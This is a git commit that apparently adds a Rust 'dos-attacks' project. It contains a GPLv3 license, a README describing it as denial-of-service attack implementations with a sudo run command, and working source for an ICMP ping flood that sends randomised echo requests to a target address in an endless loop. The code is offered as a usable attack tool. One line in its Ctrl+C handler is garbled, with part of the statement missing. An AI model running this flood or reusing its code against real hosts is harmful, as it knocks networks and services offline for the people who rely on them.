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commit 102bf52801940a29803b8b52d13aa67f8482031a
Author: Cody Lewis <>
Date:   Mon,  8 Jun 2020 10:51:11 +1000

Added ICMP flood

A.gitignore | 3+++
ACargo.lock | 434+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ACargo.toml | 14++++++++++++++ | 619+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | 18++++++++++++++++++
Asrc/icmp_flood/ | 66++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/ | 41+++++++++++++++++++++++++++++++++++++++++
7 files changed, 1195 insertions(+), 0 deletions(-)

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+readme = "" + +[dependencies] +rand = "0.7.3" +pnet = "0.26.0" +ctrlc = "3.1.4" diff --git a/ b/ @@ -0,0 +1,619 @@ +### GNU GENERAL PUBLIC LICENSE + +Version 3, 29 June 2007 + +Copyright (C) 2007 Free Software Foundation, Inc. +<> + +Everyone is permitted to copy and distribute verbatim copies of this +license document, but changing it is not allowed. + +### Preamble + +The GNU General Public License is a free, copyleft license for +software and other kinds of works. + +The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. + +If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under +this License and any other pertinent obligations, then as a +consequence you may not convey it at all. For example, if you agree to +terms that obligate you to collect a royalty for further conveying +from those to whom you convey the Program, the only way you could +satisfy both those terms and this License would be to refrain entirely +from conveying the Program. + +#### 13. Use with the GNU Affero General Public License. + +Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + +#### 14. Revised Versions of this License. + +The Free Software Foundation may publish revised and/or new versions +of the GNU General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in +detail to address new problems or concerns. + +Each version is given a distinguishing version number. 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Disclaimer of Warranty. + +THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT +WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND +PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE +DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR +CORRECTION. + +#### 16. Limitation of Liability. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR +CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES +ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT +NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR +LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM +TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER +PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +#### 17. Interpretation of Sections 15 and 16. + +If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + +END OF TERMS AND CONDITIONS diff --git a/ b/ @@ -0,0 +1,18 @@ +# DoS Attacks +Rust implementations of Denial of Service attacks, currently only the ICMP flood +attack is implemented. + +## Requirements +- Rust +- Cargo + +## Build +```sh +cargo build +``` + +## Run +You will probably need to run the resulting binary with sudo: +```sh +sudo ./target/debug/dos-attacks ping-flood +``` diff --git a/src/icmp_flood/ b/src/icmp_flood/ @@ -0,0 +1,66 @@ +// Copyright (C) 2020 Cody Lewis +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see <>. + + +extern crate rand; +extern crate pnet; +extern crate ctrlc; + +use std::net::IpAddr; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; + +use rand::random; + +use pnet::packet::util; +use pnet::packet::ip::IpNextHeaderProtocols; +use pnet::packet::icmp::{echo_request, IcmpTypes}; +use pnet::transport::TransportChannelType::Layer4; +use pnet::transport::TransportProtocol::Ipv4; +use pnet::transport::transport_channel; +use pnet::packet::Packet; + +/// Run the icmp ping flood attack +pub fn run(address: &String) { + let protocol = Layer4(Ipv4(IpNextHeaderProtocols::Icmp)); + let (mut tx, _) = match transport_channel(4096, protocol) { + Ok((tx, rx)) => (tx, rx), + Err(e) => panic!("Error creating the transport channel: {}", e), + }; + let addr = match address.as_str().parse::<IpAddr>() { + Ok(s) => s, + Err(e) => panic!("Failed to parse address: {}", e), + }; + + let running = Arc::new(AtomicBool::new(true)); + let r = running.clone(); + ctrlc::set_handler(move || { +, Ordering::SeqCst); + }).expect("Error setting CTRL+C handler"); + + while running.load(Ordering::SeqCst) { + let mut vec: Vec<u8> = vec![0; 64]; + let mut packet = echo_request::MutableEchoRequestPacket::new(&mut vec[..]).unwrap(); + packet.set_icmp_type(IcmpTypes::EchoRequest); + packet.set_sequence_number(random::<u16>()); + packet.set_identifier(random::<u16>()); + let csum = util::checksum(packet.packet(), 1); + packet.set_checksum(csum); + match tx.send_to(packet, addr) { + Ok(_) => print!("."), + Err(_) => print!("_"), + } + } +} diff --git a/src/ b/src/ @@ -0,0 +1,41 @@ +// Copyright (C) 2020 Cody Lewis +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see <>. + +extern crate pnet; + +use std::env; + +mod icmp_flood; + +fn main() { + println!("dos-attacks Copyright (C) 2020 Cody Lewis"); + println!("This program comes with ABSOLUTELY NO WARRANTY."); + println!("This is free software, and you are welcome to redistribute it under certain conditions."); + println!(); + let args: Vec<String> = env::args().collect(); + if args.len() < 3 { + panic!("Not enough arguments"); + } + let attack_name = &args[1]; + let addr = &args[2]; + run_attack(attack_name)(addr); +} + +fn run_attack(attack: &String) -> Box<dyn Fn(&String)> { + match attack.as_str() { + "ping-flood" => Box::new(icmp_flood::run), + _ => return Box::new(move |a| panic!("No attack named {}", a)), + } +}